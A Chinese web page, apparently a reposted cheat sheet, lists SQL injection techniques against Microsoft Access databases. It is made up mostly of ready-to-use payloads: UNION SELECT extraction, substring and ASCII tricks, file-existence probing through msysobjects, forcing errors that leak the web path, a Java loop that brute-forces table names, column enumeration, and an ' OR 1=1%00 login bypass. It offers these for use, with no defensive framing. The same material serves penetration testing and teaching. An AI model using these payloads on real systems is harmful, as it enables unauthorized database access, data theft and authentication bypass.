当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

Access SQL注入参考手册(小抄)

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

Access SQL注入参考

 

描述 SQL查询及注释

注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替:

  • ' UNION SELECT 1,1,1 FROM validTableName%00涛涛电脑知识

  • 语法错误信息 "[Microsoft][Driver ODBC Microsoft Access]"

    多句执行 不支持.

    联合查询 Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.

    附属查询 Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) :

  • ' AND (SELECT TOP 1 'someData' FROM validTableName)%00
  • LIMIT支持 LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:

  • ' UNION SELECT TOP 3 AttrName FROM validTableName%00 : 这条语句返回(前)3 行.
  • 让查询返回0行 在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:

  • ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
  • 字符串连接 不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:

  • ' UNION SELECT 'web' %2b 'app' FROM validTableName%00 : 返回"webapp"

  • ' UNION SELECT 'web' %26 'app' FROM validTableName%00 : 返回"webapp"
  • 子字符串 MID()函数:

  • ' UNION SELECT MID('abcd',1,1) FROM validTableName%00 : 返回 "a"
  • ' UNION SELECT MID('abcd',2,1) FROM validTableName%00 : 返回 "b"
  • 字符串长度 LEN()函数:

  • ' UNION SELECT LEN('1234') FROM validTableName%00 : 返回 4
  • 暴WEB路径 可以通过对一个不存在的库进行SELECT操作.Access将会回应一条包含有完整路径的错误信息.:

  • ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
  • 取字符的ASCII值 ASC()函数:

  • ' UNION SELECT ASC('A') FROM ValidTable%00 :返回65 ('A'的ASCII值)
  • ASCII值转换为字符 CHR()函数:

  • ' UNION SELECT CHR(65) FROM validTableName%00 : 返回 'A'
  • IF语句 可以使用IIF()函数. 语法 : IIF(condition, true, false) :

  • ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName%00 : 返回 'a'
  • 时间接口 不存在类似BENCHMARK()或SLEEP()的函数,但是可以使用大量(高负载)的查询来达到这个效果.点击这里查看参考.

    验证文件是否存在

    在注入的时候使用:

  • ' UNION SELECT name FROM msysobjects IN '\boot.ini'%00 : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized.

  • 表名猜解 这里有一个简单的猜解access表名的java代码.我写他是为了更好的解释猜解表名的原理:


    static private String columnErrorMessage = "...";
    static private String accessError = "...";

    [...]

    public String bruteTableName(Request r) { // 0

       String resp = new String();
       String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1

       for(int i = 0; i < table.length; i++) {

          resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + "%00"); // 2

          if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3
               return table[i];
       }

       return null;
    }

    bruteTableName()的参数是一个名为"Request"的对象(见注释0).这个例子靠 sendInjection() (见注释2)尝试检测查询:

  • ' UNION SELECT 1 FROM table[i]%00
  • table[i]是表名列表中的一个元素(见注释1). 你能在这篇文章的末尾找到一个小的表名列表.在注释2处, sendInjection()函数返回提交注入代码后的回应html代码.如果resp包含 columnErrorMessage 字符串(见注释3),恭喜你,你找到了一个存在的表. columnErrorMessage 是在UNION查询中使用了和主查询不同的卷数而返回的错误信息.如果表不存在,返回的信息将是表不存在,而不是卷的数目错误.

    列名猜解 需要一个已知的表名和主查询的列的数目:

  • ' UNION SELECT fieldName[j],1,1,1 FROM validTableName%00
  • 你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.

    绕过登陆 用户名: ' OR 1=1%00 (or " OR 1=1%00)

    密码: (留空)

    列名枚举 按语 : 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用.

    通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如:

  • Error (...) syntax (...) query (...) : " Id=0' "
  • 从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
  • ' GROUP BY Id%00
  • 相关文章
    • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1